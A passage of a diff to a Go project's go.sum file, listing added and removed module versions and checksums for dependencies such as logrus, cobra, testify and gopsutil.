github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8 h1:p5eZqLFMEGr7CC+9915lC4Dk7Gub6mH7NE35jDhkJsQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
@@ -575,7 +557,6 @@ github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfn
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.4-0.20190131011033-7dc38fb350b1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
|
||||
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
|
||||
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
@@ -594,7 +575,6 @@ github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
|
||||
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
|
||||
github.com/mailru/easyjson v0.0.0-20160728113105-d5b7844b561a/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
@@ -622,9 +602,9 @@ github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Ky
|
||||
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
|
||||
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
|
||||
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
|
||||
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-shellwords v1.0.3/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
|
||||
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
|
||||
github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
|
||||
@@ -636,19 +616,12 @@ github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWC
|
||||
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
|
||||
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
|
||||
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
|
||||
github.com/miekg/pkcs11 v1.0.3/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
|
||||
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
|
||||
github.com/mistifyio/go-zfs v2.1.2-0.20190413222219-f784269be439+incompatible/go.mod h1:8AuVvqP/mXw1px98n46wfvcGfQ4ci2FwoAjKYxuo3Z4=
|
||||
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
|
||||
github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||
github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
|
||||
github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
|
||||
github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
|
||||
github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
|
||||
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
|
||||
github.com/mitchellh/osext v0.0.0-20151018003038-5e2d6d41470f/go.mod h1:OkQIRizQZAeMln+1tSwduZz7+Af5oFlKirV/MSYes2A=
|
||||
github.com/moby/locker v1.0.1/go.mod h1:S7SDdo5zpBK84bzzVlKr2V0hz+7x9hWbYC/kq7oQppc=
|
||||
@@ -674,6 +647,7 @@ github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96d
|
||||
github.com/ncw/swift v1.0.47/go.mod h1:23YIA4yWVnGwv2dQlN4bB7egfYX6YLn0Yo/S6zZO/ZM=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
|
||||
github.com/nxadm/tail v1.4.4 h1:DQuhQpB1tVlglWS2hLQ5OV6B5r8aGxSrPc5Qo6uTN78=
|
||||
github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
|
||||
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
|
||||
github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
|
||||
@@ -682,11 +656,13 @@ github.com/onsi/ginkgo v0.0.0-20170829012221-11459a886d9c/go.mod h1:lLunBs/Ym6LB
|
||||
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
|
||||
github.com/onsi/ginkgo v1.8.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
|
||||
github.com/onsi/ginkgo v1.10.3/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
|
||||
github.com/onsi/ginkgo v1.12.1 h1:mFwc4LvZ0xpSvDZ3E+k8Yte0hLOMxXUlP+yXtJqkYfQ=
|
||||
github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
|
||||
github.com/onsi/gomega v0.0.0-20151007035656-2152b45fa28a/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=
|
||||
github.com/onsi/gomega v0.0.0-20170829124025-dcabb60a477c/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=
|
||||
github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
|
||||
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
|
||||
github.com/onsi/gomega v1.10.0 h1:Gwkk+PTu/nfOwNMtUB/mRUv0X7ewW5dO4AERT1ThVKo=
|
||||
github.com/onsi/gomega v1.10.0/go.mod h1:Ho0h+IUsWyvy1OpqCwxlQ/21gkhVunqlU8fDGcoTdcA=
|
||||
github.com/opencontainers/go-digest v0.0.0-20180430190053-c9281466c8b2/go.mod h1:cMLVZDEM3+U2I4VmLI6N8jQYUd2OVphdqWwCJHrFt2s=
|
||||
github.com/opencontainers/go-digest v1.0.0-rc1/go.mod h1:cMLVZDEM3+U2I4VmLI6N8jQYUd2OVphdqWwCJHrFt2s=
|
||||
@@ -703,7 +679,6 @@ github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mo
|
||||
github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
|
||||
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
|
||||
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
|
||||
github.com/pelletier/go-toml v1.8.1/go.mod h1:T2/BmBdy8dvIRq1a/8aqjN41wvWlN4lrapLU/GW4pbc=
|
||||
@@ -712,11 +687,12 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
|
||||
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
|
||||
github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw=
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
|
||||
github.com/pquerna/cachecontrol v0.0.0-20171018203845-0dec1b30a021/go.mod h1:prYjPmNq4d1NPVmpShWobRqXY3q7Vp+80DqgxxUrUIA=
|
||||
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
|
||||
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
@@ -749,6 +725,9 @@ github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1
|
||||
github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
|
||||
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
|
||||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
||||
@@ -756,13 +735,12 @@ github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
|
||||
github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU=
|
||||
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
|
||||
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/safchain/ethtool v0.0.0-20190326074333-42ed695e3de8/go.mod h1:Z0q5wiBQGYcxhMZ6gUqHn6pYNLypFAvaL3UvgZLR0U4=
|
||||
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
||||
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
|
||||
github.com/seccomp/libseccomp-golang v0.9.1/go.mod h1:GbW5+tmTXfcxTToHLXlScSlAvWlF4P2Ca7zGrPiEpWo=
|
||||
github.com/shirou/gopsutil/v3 v3.21.10 h1:flTg1DrnV/UVrBqjLgVgDJzx6lf+91rC64/dBHmO2IA=
|
||||
github.com/shirou/gopsutil/v3 v3.21.10/go.mod h1:t75NhzCZ/dYyPQjyQmrAYP6c8+LCdFANeBMdLPCNnew=
|
||||
github.com/shirou/gopsutil/v3 v3.22.8 h1:a4s3hXogo5mE2PfdfJIonDbstO/P+9JszdfhAHSzD9Y=
|
||||
github.com/shirou/gopsutil/v3 v3.22.8/go.mod h1:s648gW4IywYzUfE/KjXxUsqrqx/T2xO5VqOXxONeRfI=
|
||||
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
|
||||
github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ=
|
||||
github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||
@@ -772,11 +750,10 @@ github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPx
|
||||
github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
|
||||
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE=
|
||||
github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
|
||||
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
|
||||
github.com/smartystreets/goconvey v0.0.0-20190330032615-68dc04aab96a/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
|
||||
github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
|
||||
github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
|
||||
github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
|
||||
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
|
||||
@@ -784,8 +761,8 @@ github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTd
|
||||
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
|
||||
github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ=
|
||||
github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE=
|
||||
github.com/spf13/cobra v1.1.1 h1:KfztREH0tPxJJ+geloSLaAkaPkr4ki2Er5quFV1TDo4=
|
||||
github.com/spf13/cobra v1.1.1/go.mod h1:WnodtKOvamDL/PwE2M4iKs8aMDBZ5Q5klgD3qfVJQMI=
|
||||
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
|
||||
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
|
||||
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
|
||||
github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
|
||||
github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
|
||||
@@ -793,7 +770,6 @@ github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnIn
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE=
|
||||
github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg=
|
||||
github.com/stefanberger/go-pkcs11uri v0.0.0-20201008174630-78d3cae3a980/go.mod h1:AO3tvPzVZ/ayst6UlUKUv6rcPQInYe3IknH3jYhAKu8=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
@@ -808,17 +784,17 @@ github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
|
||||
github.com/syndtr/gocapability v0.0.0-20180916011248-d98352740cb2/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww=
|
||||
github.com/tchap/go-patricia v2.2.6+incompatible/go.mod h1:bmLyhP68RS6kStMGxByiQ23RP/odRBOTVjwp2cDyi6I=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/tklauser/go-sysconf v0.3.9/go.mod h1:11DU/5sG7UexIrp/O6g35hrWzu0JxlwQ3LSFUzyeuhs=
|
||||
github.com/tklauser/numcpus v0.3.0/go.mod h1:yFGUr7TUHQRAhyqBcEg0Ge34zDBAsIvJJcyE6boqnA8=
|
||||
github.com/tklauser/go-sysconf v0.3.10/go.mod h1:C8XykCvCb+Gn0oNCWPIlcb0RuglQTYaQ2hGm7jmxEFk=
|
||||
github.com/tklauser/numcpus v0.4.0/go.mod h1:1+UI3pD8NW14VMwdgJNJ1ESk2UnwhAnz5hMwiKKqXCQ=
|
||||
github.com/tmc/grpc-websocket-proxy v0.0.0-20170815181823-89b8d40f7ca8/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
|
||||
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
|
||||
github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc=
|
||||
@@ -840,6 +816,8 @@ github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de
|
||||
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg=
|
||||
github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
|
||||
github.com/yvasiyarov/go-metrics v0.0.0-20140926110328-57bccd1ccd43/go.mod h1:aX5oPXxHm3bOH+xeAttToC8pqch2ScQN/JoXYupl6xs=
|
||||
github.com/yvasiyarov/gorelic v0.0.0-20141212073537-a9bba5b9ab50/go.mod h1:NUSPSUX/bi6SeDMUh6brw0nXpxHnc96TguQh0+r/ssA=
|
||||
github.com/yvasiyarov/newrelic_platform_go v0.0.0-20140908184405-b21fdbd4370f/go.mod h1:GlGEuHIJweS1mbCqG+7vt2nvWLzLLnRHbXz5JKd/Qbg=
|
||||
@@ -872,7 +850,6 @@ go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
|
||||
go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM=
|
||||
